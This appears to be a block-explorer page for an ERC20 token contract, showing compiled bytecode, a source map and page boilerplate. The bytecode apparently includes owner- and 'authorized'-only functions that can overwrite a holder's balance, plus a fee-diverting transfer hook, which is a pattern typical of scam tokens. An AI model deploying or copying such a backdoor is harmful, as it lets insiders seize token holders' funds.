055565b61054f33610671565b61056b5760405162461bcd60e51b81526004016103a290610e66565b6105758282610a3c565b5050565b6005546001600160a01b031690565b6060600480546102d690610fab565b6000806105a261078e565b9050610371818585610897565b60095481565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6105e861078e565b6005546001600160a01b039081169116146106155760405162461bcd60e51b81526004016103a290610cf8565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526006602052604090205460ff1690565b60006106d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a7f565b9392505050565b6000806106e58385610f3d565b9050838110156106d15760405162461bcd60e51b81526004016103a290610d71565b60008261071657506000610377565b60006107228385610f75565b90508261072f8583610f55565b146106d15760405162461bcd60e51b81526004016103a290610e25565b60006106d183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ab9565b3390565b6001600160a01b0383166107b85760405162461bcd60e51b81526004016103a290610ee2565b6001600160a01b0382166107de5760405162461bcd60e51b81526004016103a290610d2f565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610839908590610f26565b60405180910390a3505050565b600061085284846105b5565b90506000198114610891578181101561087d5760405162461bcd60e51b81526004016103a290610da8565b610891848461088c8585610f94565b610792565b50505050565b6001600160a01b0383166108bd5760405162461bcd60e51b81526004016103a290610e9d565b6001600160a01b0382166108e35760405162461bcd60e51b81526004016103a290610cb5565b6108ee838383610ae7565b6001600160a01b038316600090815260208190526040902054818110156109275760405162461bcd60e51b81526004016103a290610ddf565b610931818361068f565b6001600160a01b03808616600090815260208190526040808220939093559085168152205461096090836106d8565b6001600160a01b0380851660008181526020819052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109b2908690610f26565b60405180910390a3610891848484610aec565b6001600160a01b0381166000908152602081905260408120548180527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5805491929091610a13908490610f3d565b90915550506001600160a01b03166000908152602081905260409020670de0b6b3a76400009055565b6001600160a01b038216600090815260208190526040902054610a5f90826106d8565b6001600160a01b0390921660009081526020819052604090209190915550565b60008184841115610aa35760405162461bcd60e51b81526004016103a29190610c62565b506000610ab08486610f94565b95945050505050565b60008183610ada5760405162461bcd60e51b81526004016103a29190610c62565b506000610ab08486610f55565b505050565b600f54600160a01b900460ff1615610b0357610ae7565b600f805460ff60a01b1916600160a01b179055610b1f83610671565b80610b2e5750610b2e82610671565b15610b3857610b6a565b6000610b5b600954610b556008548561070790919063ffffffff16565b9061074c565b9050610b68833083610897565b505b600f805460ff60a01b19169055505050565b80356001600160a01b038116811461041b57600080fd5b600060208284031215610ba4578081fd5b6106d182610b7c565b60008060408385031215610bbf578081fd5b610bc883610b7c565b9150610bd660208401610b7c565b90509250929050565b600080600060608486031215610bf3578081fd5b610bfc84610b7c565b9250610c0a60208501610b7c565b9150604084013590509250925092565b60008060408385031215610c2c578182fd5b610c3583610b7c565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610c8e57858101830151858201604001528201610c72565b81811115610c9f5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60208082526018908201527f43616c6c6572206973206e6f7420617574686f72697a65640000000000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f5057610f50610fe6565b500190565b600082610f7057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610f8f57610f8f610fe6565b500290565b600082821015610fa657610fa6610fe6565b500390565b600281046001821680610fbf57607f821691505b60208210811415610fe057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220eba38f12898d5e80949775ef0e6e622d291649c29fea7a8c331878b73f75820f64736f6c63430008010033

Deployed Bytecode Sourcemap

11701:1767:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8641:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9356:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;3883:93::-;;;;;;:::i;:::-;;:::i;:::-;;8424:108;;;:::i;:::-;;;;;;;:::i;9565:261::-;;;;;;:::i;:::-;;:::i;11834:28::-;;;:::i;3779:96::-;;;;;;:::i;:::-;;:::i;8540:93::-;;;:::i;:::-;;;;;;;:::i;13369:96::-;;;;;;:::i;:::-;;:::i;11776:51::-;;;:::i;12199:28::-;;;:::i;:::-;;;;;;;:::i;13236:125::-;;;;;;:::i;:::-;;:::i;8861:127::-;;;;;;:::i;:::-;;:::i;3984:148::-;;;:::i;13126:102::-;;;;;;:::i;:::-;;:::i;3343:79::-;;;:::i;8749:104::-;;;:::i;8996:193::-;;;;;;:::i;:::-;;:::i;11869:36::-;;;:::i;9197:151::-;;;;;;:::i;:::-;;:::i;4232:160::-;;;;;;:::i;:::-;;:::i;3670:101::-;;;;;;:::i;:::-;;:::i;8641:100::-;8695:13;8728:5;8721:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8641:100;:::o;9356:201::-;9439:4;9456:13;9472:12;:10;:12::i;:::-;9456:28;;9495:32;9504:5;9511:7;9520:6;9495:8;:32::i;:::-;9545:4;9538:11;;;9356:201;;;;;:::o;3883:93::-;3589:24;3602:10;3589:12;:24::i;:::-;3581:61;;;;-1:-1:-1;;;3581:61:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;3948:13:0::1;;::::0;;;:8:::1;:13;::::0;;;;:20;;-1:-1:-1;;3948:20:0::1;3964:4;3948:20;::::0;;3883:93::o;8424:108::-;8512:12;;8424:108;:::o;9565:261::-;9662:4;9679:15;9697:12;:10;:12::i;:::-;9679:30;;9720:38;9736:4;9742:7;9751:6;9720:15;:38::i;:::-;9769:27;9779:4;9785:2;9789:6;9769:9;:27::i;:::-;-1:-1:-1;9814:4:0;;9565:261;-1:-1:-1;;;;9565:261:0:o;11834:28::-;;;;:::o;3779:96::-;3854:6;;-1:-1:-1;;;;;3854:13:0;;;:6;;:13;3779:96;;;;:::o;8540:93::-;8623:2;8540:93;:::o;13369:96::-;-1:-1:-1;;;;;13442:15:0;13418:4;13442:15;;;:10;:15;;;;;;;;;13369:96::o;11776:51::-;;;;:::o;12199:28::-;;;-1:-1:-1;;;;;12199:28:0;;:::o;13236:125::-;3589:24;3602:10;3589:12;:24::i;:::-;3581:61;;;;-1:-1:-1;;;3581:61:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13302:15:0;::::1;;::::0;;;:10:::1;:15;::::0;;;;:22;;-1:-1:-1;;13302:22:0::1;13320:4;13302:22;::::0;;13335:18:::1;13313:3:::0;13335:13:::1;:18::i;:::-;13236:125:::0;:::o;8861:127::-;-1:-1:-1;;;;;8962:18:0;8935:7;8962:18;;;;;;;;;;;;8861:127::o;3984:148::-;3480:12;:10;:12::i;:::-;3470:6;;-1:-1:-1;;;;;3470:6:0;;;:22;;;3462:58;;;;-1:-1:-1;;;3462:58:0;;;;;;;:::i;:::-;4075:6:::1;::::0;4054:40:::1;::::0;4091:1:::1;::::0;-1:-1:-1;;;;;4075:6:0::1;::::0;4054:40:::1;::::0;4091:1;;4054:40:::1;4105:6;:19:::0;;-1:-1:-1;;;;;;4105:19:0::1;::::0;;3984:148::o;13126:102::-;3589:24;3602:10;3589:12;:24::i;:::-;3581:61;;;;-1:-1:-1;;;3581:61:0;;;;;;;:::i;:::-;13200:20:::1;13209:2;13213:6;13200:8;:20::i;:::-;13126:102:::0;;:::o;3343:79::-;3408:6;;-1:-1:-1;;;;;3408:6:0;3343:79;:::o;8749:104::-;8805:13;8838:7;8831:14;;;;;:::i;8996:193::-;9075:4;9092:13;9108:12;:10;:12::i;:::-;9092:28;;9131;9141:5;9148:2;9152:6;9131:9;:28::i;11869:36::-;;;;:::o;9197:151::-;-1:-1:-1;;;;;9313:18:0;;;9286:7;9313:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9197:151::o;4232:160::-;3480:12;:10;:12::i;:::-;3470:6;;-1:-1:-1;;;;;3470:6:0;;;:22;;;3462:58;;;;-1:-1:-1;;;3462:58:0;;;;;;;:::i;:::-;4339:6:::1;::::0;4318:38:::1;::::0;-1:-1:-1;;;;;4318:38:0;;::::1;::::0;4339:6:::1;::::0;4318:38:::1;::::0;4339:6:::1;::::0;4318:38:::1;4367:6;:17:::0;;-1:-1:-1;;;;;;4367:17:0::1;-1:-1:-1::0;;;;;4367:17:0;;;::::1;::::0;;;::::1;::::0;;4232:160::o;3670:101::-;-1:-1:-1;;;;;3750:13:0;3726:4;3750:13;;;:8;:13;;;;;;;;;3670:101::o;946:136::-;1004:7;1031:43;1035:1;1038;1031:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1024:50;946:136;-1:-1:-1;;;946:136:0:o;759:179::-;817:7;;849:5;853:1;849;:5;:::i;:::-;837:17;;878:1;873;:6;;865:46;;;;-1:-1:-1;;;865:46:0;;;;;;;:::i;1288:246::-;1346:7;1370:6;1366:47;;-1:-1:-1;1400:1:0;1393:8;;1366:47;1423:9;1435:5;1439:1;1435;:5;:::i;:::-;1423:17;-1:-1:-1;1468:1:0;1459:5;1463:1;1423:17;1459:5;:::i;:::-;:10;1451:56;;;;-1:-1:-1;;;1451:56:0;;;;;;;:::i;1542:132::-;1600:7;1627:39;1631:1;1634;1627:39;;;;;;;;;;;;;;;;;:3;:39::i;1913:115::-;2009:10;1913:115;:::o;10466:344::-;-1:-1:-1;;;;;10568:19:0;;10560:68;;;;-1:-1:-1;;;10560:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10647:21:0;;10639:68;;;;-1:-1:-1;;;10639:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10718:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;10770:32;;;;;10748:6;;10770:32;:::i;:::-;;;;;;;;10466:344;;;:::o;10818:375::-;10919:24;10946:25;10956:5;10963:7;10946:9;:25::i;:::-;10919:52;;-1:-1:-1;;10986:16:0;:37;10982:204;;11068:6;11048:16;:26;;11040:68;;;;-1:-1:-1;;;11040:68:0;;;;;;;:::i;:::-;11123:51;11132:5;11139:7;11148:25;11167:6;11148:16;:25;:::i;:::-;11123:8;:51::i;:::-;10818:375;;;;:::o;9834:624::-;-1:-1:-1;;;;;9931:18:0;;9923:68;;;;-1:-1:-1;;;9923:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10010:16:0;;10002:64;;;;-1:-1:-1;;;10002:64:0;;;;;;;:::i;:::-;10079:38;10100:4;10106:2;10110:6;10079:20;:38::i;:::-;-1:-1:-1;;;;;10152:15:0;;10130:19;10152:15;;;;;;;;;;;10186:21;;;;10178:72;;;;-1:-1:-1;;;10178:72:0;;;;;;;:::i;:::-;10281:23;:11;10297:6;10281:15;:23::i;:::-;-1:-1:-1;;;;;10263:15:0;;;:9;:15;;;;;;;;;;;:41;;;;10331:13;;;;;;;:25;;10349:6;10331:17;:25::i;:::-;-1:-1:-1;;;;;10315:13:0;;;:9;:13;;;;;;;;;;;;:41;;;;10374:26;;;;;;;;;;10393:6;;10374:26;:::i;:::-;;;;;;;;10413:37;10433:4;10439:2;10443:6;10413:19;:37::i;11332:163::-;-1:-1:-1;;;;;11425:18:0;;:9;:18;;;;;;;;;;;11400:21;;;;:43;;11425:18;;11400:21;;:43;;11425:18;;11400:43;:::i;:::-;;;;-1:-1:-1;;;;;;;11454:18:0;:9;:18;;;;;;;;;;11475:12;11454:33;;11332:163::o;11201:123::-;-1:-1:-1;;;;;11291:13:0;;:9;:13;;;;;;;;;;;:25;;11309:6;11291:17;:25::i;:::-;-1:-1:-1;;;;;11275:13:0;;;:9;:13;;;;;;;;;;:41;;;;-1:-1:-1;11201:123:0:o;1090:190::-;1176:7;1212:12;1204:6;;;;1196:29;;;;-1:-1:-1;;;1196:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1236:9:0;1248:5;1252:1;1248;:5;:::i;:::-;1236:17;1090:190;-1:-1:-1;;;;;1090:190:0:o;1682:189::-;1768:7;1803:12;1796:5;1788:28;;;;-1:-1:-1;;;1788:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1827:9:0;1839:5;1843:1;1839;:5;:::i;11503:91::-;;;;:::o;12801:317::-;12290:9;;-1:-1:-1;;;12290:9:0;;;;12286:22;;;12301:7;;12286:22;12318:9;:16;;-1:-1:-1;;;;12318:16:0;-1:-1:-1;;;12318:16:0;;;12913:18:::1;12926:4:::0;12913:12:::1;:18::i;:::-;:38;;;;12935:16;12948:2;12935:12;:16::i;:::-;12909:77;;;12968:7;;12909:77;12998:17;13018:42;13044:15;;13018:21;13029:9;;13018:6;:10;;:21;;;;:::i;:::-;:25:::0;::::1;:42::i;:::-;12998:62;;13071:39;13081:2;13093:4;13100:9;13071;:39::i;:::-;12345:1;;12357:9:::0;:17;;-1:-1:-1;;;;12357:17:0;;;12801:317;;;:::o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:203::-;-1:-1:-1;;;;;1458:32:1;;;;1440:51;;1428:2;1413:18;;1395:102::o;1502:187::-;1667:14;;1660:22;1642:41;;1630:2;1615:18;;1597:92::o;1694:603::-;;1835:2;1864;1853:9;1846:21;1896:6;1890:13;1939:6;1934:2;1923:9;1919:18;1912:34;1964:4;1977:140;1991:6;1988:1;1985:13;1977:140;;;2086:14;;;2082:23;;2076:30;2052:17;;;2071:2;2048:26;2041:66;2006:10;;1977:140;;;2135:6;2132:1;2129:13;2126:2;;;2205:4;2200:2;2191:6;2180:9;2176:22;2172:31;2165:45;2126:2;-1:-1:-1;2281:2:1;2260:15;-1:-1:-1;;2256:29:1;2241:45;;;;2288:2;2237:54;;1815:482;-1:-1:-1;;;1815:482:1:o;2302:399::-;2504:2;2486:21;;;2543:2;2523:18;;;2516:30;2582:34;2577:2;2562:18;;2555:62;-1:-1:-1;;;2648:2:1;2633:18;;2626:33;2691:3;2676:19;;2476:225::o;2706:347::-;2908:2;2890:21;;;2947:2;2927:18;;;2920:30;2986:25;2981:2;2966:18;;2959:53;3044:2;3029:18;;2880:173::o;3058:398::-;3260:2;3242:21;;;3299:2;3279:18;;;3272:30;3338:34;3333:2;3318:18;;3311:62;-1:-1:-1;;;3404:2:1;3389:18;;3382:32;3446:3;3431:19;;3232:224::o;3461:351::-;3663:2;3645:21;;;3702:2;3682:18;;;3675:30;3741:29;3736:2;3721:18;;3714:57;3803:2;3788:18;;3635:177::o;3817:353::-;4019:2;4001:21;;;4058:2;4038:18;;;4031:30;4097:31;4092:2;4077:18;;4070:59;4161:2;4146:18;;3991:179::o;4175:402::-;4377:2;4359:21;;;4416:2;4396:18;;;4389:30;4455:34;4450:2;4435:18;;4428:62;-1:-1:-1;;;4521:2:1;4506:18;;4499:36;4567:3;4552:19;;4349:228::o;4582:397::-;4784:2;4766:21;;;4823:2;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;-1:-1:-1;;;4928:2:1;4913:18;;4906:31;4969:3;4954:19;;4756:223::o;4984:348::-;5186:2;5168:21;;;5225:2;5205:18;;;5198:30;5264:26;5259:2;5244:18;;5237:54;5323:2;5308:18;;5158:174::o;5337:401::-;5539:2;5521:21;;;5578:2;5558:18;;;5551:30;5617:34;5612:2;5597:18;;5590:62;-1:-1:-1;;;5683:2:1;5668:18;;5661:35;5728:3;5713:19;;5511:227::o;5743:400::-;5945:2;5927:21;;;5984:2;5964:18;;;5957:30;6023:34;6018:2;6003:18;;5996:62;-1:-1:-1;;;6089:2:1;6074:18;;6067:34;6133:3;6118:19;;5917:226::o;6148:177::-;6294:25;;;6282:2;6267:18;;6249:76::o;6330:184::-;6502:4;6490:17;;;;6472:36;;6460:2;6445:18;;6427:87::o;6519:128::-;;6590:1;6586:6;6583:1;6580:13;6577:2;;;6596:18;;:::i;:::-;-1:-1:-1;6632:9:1;;6567:80::o;6652:217::-;;6718:1;6708:2;;-1:-1:-1;;;6743:31:1;;6797:4;6794:1;6787:15;6825:4;6750:1;6815:15;6708:2;-1:-1:-1;6854:9:1;;6698:171::o;6874:168::-;;6980:1;6976;6972:6;6968:14;6965:1;6962:21;6957:1;6950:9;6943:17;6939:45;6936:2;;;6987:18;;:::i;:::-;-1:-1:-1;7027:9:1;;6926:116::o;7047:125::-;;7115:1;7112;7109:8;7106:2;;;7120:18;;:::i;:::-;-1:-1:-1;7157:9:1;;7096:76::o;7177:380::-;7262:1;7252:12;;7309:1;7299:12;;;7320:2;;7374:4;7366:6;7362:17;7352:27;;7320:2;7427;7419:6;7416:14;7396:18;7393:38;7390:2;;;7473:10;7468:3;7464:20;7461:1;7454:31;7508:4;7505:1;7498:15;7536:4;7533:1;7526:15;7390:2;;7232:325;;;:::o;7562:127::-;7623:10;7618:3;7614:20;7611:1;7604:31;7654:4;7651:1;7644:15;7678:4;7675:1;7668:15

Swarm Source

ipfs://eba38f12898d5e80949775ef0e6e622d291649c29fea7a8c331878b73f75820f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.